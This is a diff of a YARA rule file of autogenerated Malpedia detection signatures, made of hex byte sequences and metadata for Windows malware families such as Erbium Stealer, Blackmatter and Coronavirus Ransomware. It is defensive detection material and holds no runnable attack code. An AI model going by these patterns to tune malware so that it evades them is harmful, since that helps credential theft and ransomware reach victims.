-		7 of them and filesize <458752
+		7 of them and filesize <1115136
 }
-rule MALPEDIA_Win_Erbium_Stealer_Auto : FILE
+rule MALPEDIA_Win_Photoloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "db565cb3-5b9a-5302-b069-7b70d89c0685"
+		id = "317a851b-1405-50a0-9b40-ce8155fbfa48"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.erbium_stealer_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.photoloader_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "a012e65d267d16fa63c21194de269ccb3721cbb6b9dd72f9bc3dc93b5920b64d"
+		logic_hash = "c73e7831cd0e2d402a5233934c3321f9665203a6373de35d59f2fa5b935ee161"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148642,32 +155605,38 @@ rule MALPEDIA_Win_Erbium_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b55f4 52 ff15???????? 898578ffffff 8b450c 0fb708 }
-		$sequence_1 = { e9???????? b808000000 6bc809 8b55f4 837c0a6400 7448 b808000000 }
-		$sequence_2 = { 6a04 ff7508 8d4df8 ff75e4 ff75e0 6a00 }
-		$sequence_3 = { 8d8424a0000000 7409 83c002 66833800 }
-		$sequence_4 = { 6a00 6800100000 68???????? 8b45e8 }
-		$sequence_5 = { ff15???????? eb08 33c0 eb04 8b442414 33ff 33db }
-		$sequence_6 = { 8b11 81e200000080 741a 8b45f0 8b08 81e1ffff0000 }
-		$sequence_7 = { 8955f8 b808000000 6bc805 8b55f4 }
-		$sequence_8 = { 897dfc 3bf8 7455 0fb74f2c }
-		$sequence_9 = { 83c102 51 8b55d0 52 ff55cc 8b4de8 8901 }
+		$sequence_0 = { 0d00000005 e9???????? 8bd7 397b1c 7640 }
+		$sequence_1 = { 8bf7 8d6f10 ff15???????? 0f31 }
+		$sequence_2 = { c0c003 0fb6c8 8bc1 83e10f }
+		$sequence_3 = { 33c9 b801000000 0fa2 89442420 895c2424 }
+		$sequence_4 = { 33c9 b800000040 0fa2 895f0c }
+		$sequence_5 = { 0fa2 894704 33c9 b800000040 }
+		$sequence_6 = { 895c2424 894c2428 8954242c 0f31 }
+		$sequence_7 = { f7411400000020 7407 8b41f8 3901 7714 }
+		$sequence_8 = { 85d2 7417 448bc2 0f31 48c1e220 480bc2 8801 }
+		$sequence_9 = { 1bc0 23442410 3b03 7418 }
+		$sequence_10 = { 8903 8d44242c 50 6804010000 ff15???????? ff35???????? 8d4c2430 }
+		$sequence_11 = { 5d c3 8b4d08 8b45fc 8901 8b450c }
+		$sequence_12 = { c3 55 8bec 81ec18020000 53 8ad9 }
+		$sequence_13 = { 8b5604 8d44240c 8b0e 55 }
+		$sequence_14 = { 51 8d855cffffff 8bf2 68???????? }
+		$sequence_15 = { 56 33c0 8d6c240c 57 }
 
 	condition:
-		7 of them and filesize <33792
+		7 of them and filesize <107520
 }
-rule MALPEDIA_Win_Puzzlemaker_Auto : FILE
+rule MALPEDIA_Win_Unidentified_037_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e93d66ca-a521-530d-a49f-9104b54671e2"
+		id = "9e4cd69e-744d-5d0c-b193-3d15e535bfdb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.puzzlemaker_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_037_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "f4b400ba752d2bb5a757bcaa926474306cca33660eefc885e89a26d2aeb5ebe7"
+		logic_hash = "ab9d444ded76b509036904b157e446e552ae52ed50151a488fb9c47db68bb4eb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148681,32 +155650,32 @@ rule MALPEDIA_Win_Puzzlemaker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48890b 488d5308 488d4808 0f1102 e8???????? 488d053c0e0100 488903 }
-		$sequence_1 = { f20f5cca f2410f590cc1 660f28d1 660f28c1 4c8d0dbb980000 f20f101d???????? }
-		$sequence_2 = { 0fb705???????? 66d1e8 6683e07f f30f6f05???????? }
-		$sequence_3 = { e8???????? 488bd8 488945a7 4885c0 7432 }
-		$sequence_4 = { 48895db7 4885db 0f84ca000000 4c896c2428 4c896c2420 4c8d4d07 4533c0 }
-		$sequence_5 = { 4489542444 81fae9fd0000 0f857e010000 4c8d3deddafeff }
-		$sequence_6 = { 488910 48895008 c3 4883ec28 4885c9 7411 488d0590e30100 }
-		$sequence_7 = { c705????????090400c0 c705????????01000000 c705????????01000000 b808000000 486bc000 488d0da6f80100 8b542430 }
-		$sequence_8 = { 48898520050000 488b05???????? 488d154a1b0200 488b0d???????? 4533ed 488985f8010000 }
-		$sequence_9 = { 488d0db4270100 e8???????? 85c0 740e ba01000000 488bcd ff15???????? }
+		$sequence_0 = { 85c0 a3???????? 740c 8b4c2408 8b542404 51 52 }
+		$sequence_1 = { 33c0 33d2 33ff 8a0c1f 80f920 7405 80f930 }
+		$sequence_2 = { 7506 8b15???????? 8d8424b8040000 52 50 ff15???????? }
+		$sequence_3 = { 8a56ff 83e23f 41 4d 8a82d00c0110 8841ff 759c }
+		$sequence_4 = { 8b4d20 8b5500 8b4504 8bb424f0040000 51 52 50 }
+		$sequence_5 = { ff15???????? 84c0 742d 8b4608 8b5604 8d8dccfcffff }
+		$sequence_6 = { 8841ff 759c 5d eb04 8b742410 85ff 7667 }
+		$sequence_7 = { 743e 80f920 7439 80f930 7c0d 80f937 7f08 }
+		$sequence_8 = { 8b5c2408 8b4314 83f8ff 0f84b1000000 c1e005 8bd0 a1???????? }
+		$sequence_9 = { 5e 8b8c241c100000 64890d00000000 81c428100000 c3 83c1fe }
 
 	condition:
-		7 of them and filesize <331776
+		7 of them and filesize <167936
 }
-rule MALPEDIA_Win_Tinytyphon_Auto : FILE
+rule MALPEDIA_Win_Acridrain_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7815c923-a900-5d01-9a5b-05c1d0e30118"
+		id = "82271a88-0572-5daa-a06b-4b68b32ae23f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinytyphon_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acridrain_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "e057b3aaf1408e310c88894f8b7bb86876f0ba7268b4daf2dcf5c0bb823f13c5"
+		logic_hash = "2ef6b9a2838948e7218bd1e79fe0257da485657bd990a4bc6b62c314342a8e67"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148720,32 +155689,32 @@ rule MALPEDIA_Win_Tinytyphon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745b430144000 c745b834144000 c745bc38144000 c745c03c144000 c745c440144000 }
-		$sequence_1 = { 50 8b0d???????? 51 e8???????? 83c420 8b955cffffff 52 }
-		$sequence_2 = { 68???????? 8d85e8feffff 50 ff15???????? 8d8dccfdffff 51 }
-		$sequence_3 = { 034df4 034df0 894dd4 8b5508 }
-		$sequence_4 = { 034df8 0fbe11 85d2 0f84fe010000 8b4508 0345f8 }
-		$sequence_5 = { 0345c0 8a08 880a ebdf 8d55d8 52 }
-		$sequence_6 = { eba9 68a01f0000 ff15???????? 6a0f 8d8df0feffff 51 }
-		$sequence_7 = { 034a58 8b45f8 8d8c0878a46ad7 894df8 8b55f8 c1e207 8b45f8 }
-		$sequence_8 = { 83bde4feffffff 750a c785e4feffff00000000 83bde4feffff00 7505 }
-		$sequence_9 = { 52 8d85f0feffff 50 8d8dd0fdffff }
+		$sequence_0 = { eb03 8b4dd0 8b45e0 8b55cc 8945cc 8a45f0 8955e0 }
+		$sequence_1 = { ff76a4 53 e8???????? 83c428 8945dc e9???????? 6a00 }
+		$sequence_2 = { ffd0 8b75f0 8bc8 83c414 85c9 0f85c5000000 0fce }
+		$sequence_3 = { eb0c 8b4d9c 83c104 894d9c 8b41fc 8945a0 8bc8 }
+		$sequence_4 = { eb5d 8b03 8b8890860000 803900 7520 8d442414 6801040000 }
+		$sequence_5 = { 8b8520ffffff 33ff 8b10 85d2 0f8ea6000000 33c9 898d50ffffff }
+		$sequence_6 = { f6459c01 0f84ae0b0000 8bc6 83e007 3bf0 0f83d50a0000 e9???????? }
+		$sequence_7 = { 8b4748 56 ffd0 8b7584 83c410 8bbd78ffffff eb09 }
+		$sequence_8 = { ffb5d0fdffff e8???????? 83c408 8985d4fdffff 85c0 0f85844b0000 ffb5d0fdffff }
+		$sequence_9 = { e9???????? 83fe02 750c c7872005000003000000 eb7b c7872005000000000000 83fe03 }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <2244608
 }
-rule MALPEDIA_Win_Postnaptea_Auto : FILE
+rule MALPEDIA_Win_Eyservice_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "66a4e77d-c854-5ed3-94ad-0ea65d80b627"
+		id = "e6b201c5-31f5-59a2-a52d-309e470fcb5a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.postnaptea"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.postnaptea_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.eyservice_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "8a33afe097a88ce8212670a3e80b58d6a5513693490a76a85e445ee8529ba924"
+		logic_hash = "a8d5ae517d0720536deb96b397532bb33ed4fe4db40da33e37b572e015c805c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148759,32 +155728,32 @@ rule MALPEDIA_Win_Postnaptea_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c744247418f561f5 c744247867f50000 4863c2 488d4c2450 488d0c41 0fb7c2 662bc3 }
-		$sequence_1 = { ffc2 83fa1a 72e3 6644896c2474 488d442440 488bd3 0f1f440000 }
-		$sequence_2 = { ffd7 85c0 0f842c010000 4c8d052d4b0600 ba04010000 498bce e8???????? }
-		$sequence_3 = { e9???????? 418b8520280000 4d8bce 48634c2440 4c8bc6 2bc1 48034c2460 }
-		$sequence_4 = { c745c000f50cf5 c745c407f528f5 c745c80cf508f5 c745cc02f53cf5 c745d006f50bf5 c745d419f50bf5 c745d81bf54ef5 }
-		$sequence_5 = { ff15???????? 4533e4 4d85f6 0f8418100000 498bce e9???????? 448b85b0000000 }
-		$sequence_6 = { c7851001000031f56df5 c785140100006df54ef5 c7851801000005f50ef5 c7851c0100000ff50000 418bd4 0f1f440000 4863c2 }
-		$sequence_7 = { c78520020000a081b081 c78524020000a281ba81 c78528020000fa81b181 c7852c020000ba81bb81 33c0 66898530020000 418bd5 }
-		$sequence_8 = { 488b05???????? 4885c0 7515 488d55b0 b9bd59e821 e8???????? 488905???????? }
-		$sequence_9 = { ffd7 c7856007000079f57af5 c785640700007bf515f5 c785680700000df528f5 c7856c0700006bf540f5 c7857007000020f506f5 c7857407000007f516f5 }
+		$sequence_0 = { c1f802 3bf0 72da eb22 8b0d???????? 2b0d???????? c1f902 }
+		$sequence_1 = { 6a01 6a01 68???????? ffd6 83c410 8d542410 52 }
+		$sequence_2 = { 83bef800000000 747c 8d4c2408 e8???????? a1???????? 8d4c2408 51 }
+		$sequence_3 = { 6808020000 8d8e34020000 51 e8???????? 85c0 7c1e }
+		$sequence_4 = { 83c404 8bc8 e8???????? 8bf0 8bce e8???????? 8b4f10 }
+		$sequence_5 = { e8???????? b901000000 66894f08 5f 5e 5d 8d410d }
+		$sequence_6 = { 68???????? 8d542418 52 ff15???????? 85c0 754f 88442414 }
+		$sequence_7 = { 50 03f7 56 e8???????? 8b4c2420 83c410 5f }
+		$sequence_8 = { a3???????? e8???????? 6a06 68???????? 56 a3???????? }
+		$sequence_9 = { 85c0 7459 66837d005c 7452 66837c24145c 754a }
 
 	condition:
-		7 of them and filesize <2457600
+		7 of them and filesize <452608
 }
-rule MALPEDIA_Win_Bka_Trojaner_Auto : FILE
+rule MALPEDIA_Win_Pwnpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a0a20d3c-b939-5a5e-b947-ecd1e3a9e77c"
+		id = "abbe2d0a-a645-5f32-9b7c-0253f67ad1b4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bka_trojaner_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pwnpos_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "b96818656a5fc18803f0bf1dba8c00052206b33d8bd6ff1c085aa051852c2a47"
+		logic_hash = "7bd328aa33dd14635d4dbb434ca27c66253964455bceaea97af6eb90a2de7f21"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148798,32 +155767,32 @@ rule MALPEDIA_Win_Bka_Trojaner_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 2bc1 33ff 89442428 397c2420 894c2438 897c242c }
-		$sequence_1 = { 8b542414 68ff030000 8d8c2468040000 03da 8b54241c 51 }
-		$sequence_2 = { 50 57 e8???????? 85c0 75c6 5d }
-		$sequence_3 = { 56 ff5124 85c0 7517 8b44247c 5f }
-		$sequence_4 = { 85c0 7439 53 8b1d???????? 55 8b2d???????? 8bff }
-		$sequence_5 = { 8b54240c 8b4c2404 8b8170ffffff 52 8b54240c 81c170ffffff 52 }
-		$sequence_6 = { 6a10 68???????? 68???????? 52 ff15???????? 83c8ff }
-		$sequence_7 = { e8???????? 59 59 8945c4 a1???????? }
-		$sequence_8 = { c7440a04???????? 8b4104 8b4004 8d9078ffffff 891408 8b4104 }
-		$sequence_9 = { 752d 837df800 7424 ff7508 8d4608 e8???????? ff7508 }
+		$sequence_0 = { 8d8dbcf9ffff 3985b4f9ffff 8b85a0f9ffff 7306 8d85a0f9ffff 51 50 }
+		$sequence_1 = { 391d???????? 0f84a4000000 8d75d4 e8???????? 68???????? 50 c645fc01 }
+		$sequence_2 = { 51 c745fc00000000 ffd3 85c0 7507 e8???????? eb0c }
+		$sequence_3 = { 6800400000 8d8c2494000000 51 ff15???????? 85c0 7526 8b8c2498400000 }
+		$sequence_4 = { 762a 56 e8???????? 8d0445fc6c4400 8bc8 }
+		$sequence_5 = { 89564c 895e44 6a08 b9???????? }
+		$sequence_6 = { eb14 807a2100 740a 3935???????? 7302 8bd1 }
+		$sequence_7 = { 3d00010000 752d 837c241c00 7626 }
+		$sequence_8 = { e9???????? 8d9580f9ffff 52 b801000000 898d84f9ffff 898d88f9ffff 6a02 }
+		$sequence_9 = { 8bd1 8b09 eb03 8b4908 80792100 74e6 5f }
 
 	condition:
-		7 of them and filesize <221184
+		7 of them and filesize <638976
 }
-rule MALPEDIA_Win_Mystic_Stealer_Auto : FILE
+rule MALPEDIA_Win_Ufrstealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "677c1a33-ba88-5fd2-bb60-e482ebad5ee5"
+		id = "87df7a80-59b4-5e49-9e5c-787423bd5a1a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mystic_stealer_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ufrstealer_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "7ef3f130d7f708fe480ce6294f73f2aa94b8d0f4c6423ffb91a1e80eb925cec4"
+		logic_hash = "bbd8353728980ed7d41eeaaf6b45527dc201d1c8bc1c51c590cb1fee36b76ae8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148837,32 +155806,32 @@ rule MALPEDIA_Win_Mystic_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b461c 42 8b4e08 895614 8a4007 88040a 8b5614 }
-		$sequence_1 = { 0fb7c7 eb0b 8d4203 8986bc160000 }
-		$sequence_2 = { 6a02 5d 8b4774 3d06010000 }
-		$sequence_3 = { 0fb7d8 668bc3 66d3e0 660bc6 0fb7c0 }
-		$sequence_4 = { eb15 8d4503 8987bc160000 8d4304 }
-		$sequence_5 = { 668b476c 66890451 85f6 741a 8b4f6c }
-		$sequence_6 = { 668bc2 8d5f14 66d3e0 8b0b 660bc6 }
-		$sequence_7 = { eb0c 8d5103 0fb7c0 8996bc160000 0fb7c8 }
-		$sequence_8 = { 8a86b9160000 88040a b110 2a8ebc160000 8b86bc160000 ff4614 }
-		$sequence_9 = { 02c2 03cb 0fb6c0 8a843800010000 }
+		$sequence_0 = { 6a01 6a00 6a00 68???????? 6a00 68???????? ff15???????? }
+		$sequence_1 = { 0bc0 7529 8b43fc 03d8 8b03 83c304 83f8ff }
+		$sequence_2 = { ffb5ecf3ffff ff15???????? 5b 5f 5e c9 }
+		$sequence_3 = { 894df4 8b75f4 83ee01 c745f008000000 0fb64eff 0fb616 83f97f }
+		$sequence_4 = { 03c1 80383a 7505 c60000 eb03 49 }
+		$sequence_5 = { ff35???????? ff15???????? 85c0 0f842debffff a3???????? 68???????? ff15???????? }
+		$sequence_6 = { 0f85c0000000 0fb60d???????? a1???????? 8808 8305????????01 894dfc bb???????? }
+		$sequence_7 = { 8d45dc 6a04 50 e8???????? 8305????????04 e8???????? }
+		$sequence_8 = { 50 68???????? 68???????? 6a00 ff15???????? 68???????? ff15???????? }
+		$sequence_9 = { c745d80e000000 33c0 8b75d8 8bc8 8db65c884200 }
 
 	condition:
-		7 of them and filesize <512000
+		7 of them and filesize <770048
 }
-rule MALPEDIA_Win_Coronavirus_Ransomware_Auto : FILE
+rule MALPEDIA_Win_Thunker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "855b633b-3844-51b6-884b-ae39212160b9"
+		id = "ef50f850-b9ad-5639-a44d-12383e7ab286"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coronavirus_ransomware"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.coronavirus_ransomware_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thunker_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "cdd2b8f03fb9e73cf8c1c825b178f3065340bed6f25c08a712318c114ae54239"
+		logic_hash = "9bc1b7f9eb35f46db81209055d59765c3ce32324a39fc618186d9d412df8d09c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148876,32 +155845,32 @@ rule MALPEDIA_Win_Coronavirus_Ransomware_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d9b00000000 0fb708 66890c02 83c002 6685c9 75f1 8d8dec7effff }
-		$sequence_1 = { 894dd8 837e0400 8b5608 c745dc00000000 8955e0 750a 8b45cc }
-		$sequence_2 = { 50 ff15???????? 85c0 7420 b8???????? e8???????? 50 }
-		$sequence_3 = { 68fe1f0000 52 8d859e9fffff 50 e8???????? 33c9 }
-		$sequence_4 = { 83c002 50 52 68???????? 8d8500c0ffff }
-		$sequence_5 = { 53 e8???????? 83c410 85ff 743b 8d4900 803c1fc3 }
-		$sequence_6 = { ff15???????? 8b15???????? a1???????? 83c418 52 6a01 50 }
-		$sequence_7 = { 8b55d0 880417 8b45c8 50 ff15???????? 56 ff15???????? }
-		$sequence_8 = { ffd6 a3???????? eb0a 53 }
-		$sequence_9 = { ff15???????? 85c0 7407 ffd0 a3???????? be???????? e8???????? }
+		$sequence_0 = { 89c7 50 68???????? 8dbd00feffff 57 e8???????? 83c420 }
+		$sequence_1 = { e8???????? 89c6 83feff 7420 }
+		$sequence_2 = { 8d8500feffff 50 56 e8???????? 89c7 83ffff }
+		$sequence_3 = { e8???????? 83c40c 89c7 e8???????? 8985ecfdffff }
+		$sequence_4 = { d1ea 8995e8fdffff 56 e8???????? 6a08 68???????? 68???????? }
+		$sequence_5 = { 68204e0000 68d3710000 50 e8???????? 6a00 68804f1200 68dd710000 }
+		$sequence_6 = { 83c40c 8d8544edffff 50 e8???????? 8985c4edffff 8b400c }
+		$sequence_7 = { 7433 7c79 3df1710000 7447 }
+		$sequence_8 = { 8d85f0edffff 50 57 e8???????? 83bdf0eeffff05 752e }
+		$sequence_9 = { e8???????? 68???????? e8???????? 83c41c 68???????? 68???????? e8???????? }
 
 	condition:
-		7 of them and filesize <235520
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Blackmatter_Auto : FILE
+rule MALPEDIA_Win_Erbium_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "08d983f8-89d3-5398-96f5-8f771b0988c8"
+		id = "db565cb3-5b9a-5302-b069-7b70d89c0685"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackmatter_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.erbium_stealer_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "67609ff5035d7d172ddf1a903ab845a6e5b4b36e758aab3cb262223fbb37577d"
+		logic_hash = "a012e65d267d16fa63c21194de269ccb3721cbb6b9dd72f9bc3dc93b5920b64d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148915,32 +155884,32 @@ rule MALPEDIA_Win_Blackmatter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 c745fc00000000 ff35???????? e8???????? 8bf8 }
-		$sequence_1 = { ff75f8 ff15???????? 85c0 0f85e7000000 68???????? }
-		$sequence_2 = { 83c4d8 53 56 57 c745fc00000000 c745f800000000 }
-		$sequence_3 = { e8???????? 8945fc eb0c 83c702 ff4df8 837df800 }
-		$sequence_4 = { e9???????? ff75c8 e8???????? 8945c4 }
-		$sequence_5 = { ff15???????? 83c40c 8d047500000000 50 8d45da }
-		$sequence_6 = { 85f6 0f842c010000 56 ff35???????? e8???????? ff35???????? e8???????? }
-		$sequence_7 = { f7f1 92 3b4508 720b 3b450c }
-		$sequence_8 = { 8945ec e8???????? e8???????? 803d????????00 7405 }
-		$sequence_9 = { ff75f4 e8???????? 5e 5b 8be5 5d c3 }
+		$sequence_0 = { 8b55f4 52 ff15???????? 898578ffffff 8b450c 0fb708 }
+		$sequence_1 = { e9???????? b808000000 6bc809 8b55f4 837c0a6400 7448 b808000000 }
+		$sequence_2 = { 6a04 ff7508 8d4df8 ff75e4 ff75e0 6a00 }
+		$sequence_3 = { 8d8424a0000000 7409 83c002 66833800 }
+		$sequence_4 = { 6a00 6800100000 68???????? 8b45e8 }
+		$sequence_5 = { ff15???????? eb08 33c0 eb04 8b442414 33ff 33db }
+		$sequence_6 = { 8b11 81e200000080 741a 8b45f0 8b08 81e1ffff0000 }
+		$sequence_7 = { 8955f8 b808000000 6bc805 8b55f4 }
+		$sequence_8 = { 897dfc 3bf8 7455 0fb74f2c }
+		$sequence_9 = { 83c102 51 8b55d0 52 ff55cc 8b4de8 8901 }
 
 	condition:
-		7 of them and filesize <194560
+		7 of them and filesize <33792
 }
-rule MALPEDIA_Win_Sepsys_Auto : FILE
+rule MALPEDIA_Win_Nosu_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d155b3c0-24fe-546c-9cf6-d2f1eeec70b2"
+		id = "d0493836-076e-53ac-80d2-093749a42975"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepsys"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sepsys_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nosu_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "89f35a98ab7f5302d816a97393fda02a0779a3eb472a7bbe6cda60406ec5b6de"
+		logic_hash = "8ab8c6afe29bf167cf16b426bd8eca0dcd4e462cdef53cd757a920fd1f6ec318"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148954,32 +155923,32 @@ rule MALPEDIA_Win_Sepsys_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb00 c685b500000000 488b4df8 488b55e8 4c8b45f0 e8???????? 488955e0 }
-		$sequence_1 = { eb13 488b442448 4839442450 7407 b837000000 eb0e 488d4c2460 }
-		$sequence_2 = { e9???????? 0fb74b02 81f9e8030000 7338 41b801000000 6683f90a 723f }
-		$sequence_3 = { c685b604000000 488d8da0000000 e8???????? ebd8 488b4508 488d4d20 48894da8 }
-		$sequence_4 = { e8???????? 41b801000000 488d9424a0000000 488d8c24d8000000 e8???????? 488b442460 488b4008 }
-		$sequence_5 = { e8???????? 4889442430 488b442430 4889442450 488b542450 488b4c2438 e8???????? }
-		$sequence_6 = { 488b842400010000 4889842400020000 8b8c24c8010000 338c24f8010000 8b9424cc010000 339424fc010000 448b8424d0010000 }
-		$sequence_7 = { e8???????? 488945b0 eb00 488b45b0 48898518010000 eb0b 488b45b8 }
-		$sequence_8 = { d3e0 488b4c2430 89411c 4533c0 33d2 33c9 e8???????? }
-		$sequence_9 = { e8???????? 488b4c2430 ff15???????? 33d2 488d8c2460010000 e8???????? 4889442430 }
+		$sequence_0 = { 50 8d4730 50 ff15???????? 03c0 8d5730 50 }
+		$sequence_1 = { 399628040000 7438 399648010000 7430 3996b8020000 7428 8b8e48060000 }
+		$sequence_2 = { 8bcf 8938 e8???????? 894500 85c0 }
+		$sequence_3 = { e8???????? 59 85c0 7444 8b7c2410 bd???????? 55 }
+		$sequence_4 = { 0f45cf 03ce 84c0 8b4508 51 ff742420 0f45d7 }
+		$sequence_5 = { 7462 803b22 0f85d4010000 8d470c 50 8d5708 8d4c2418 }
+		$sequence_6 = { 53 50 53 a5 8d942440080000 53 53 }
+		$sequence_7 = { 8b442434 59 c60004 8b442430 c640010e }
+		$sequence_8 = { 50 8d8e280a0000 e8???????? 59 8d442468 50 8d442424 }
+		$sequence_9 = { 8d96a8000000 8d4e48 e8???????? 59 59 84c0 742c }
 
 	condition:
-		7 of them and filesize <4538368
+		7 of them and filesize <513024
 }
-rule MALPEDIA_Win_Unidentified_098_Auto : FILE
+rule MALPEDIA_Win_Zxxz_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8f47cad5-b04b-526a-bf75-a80f46978296"
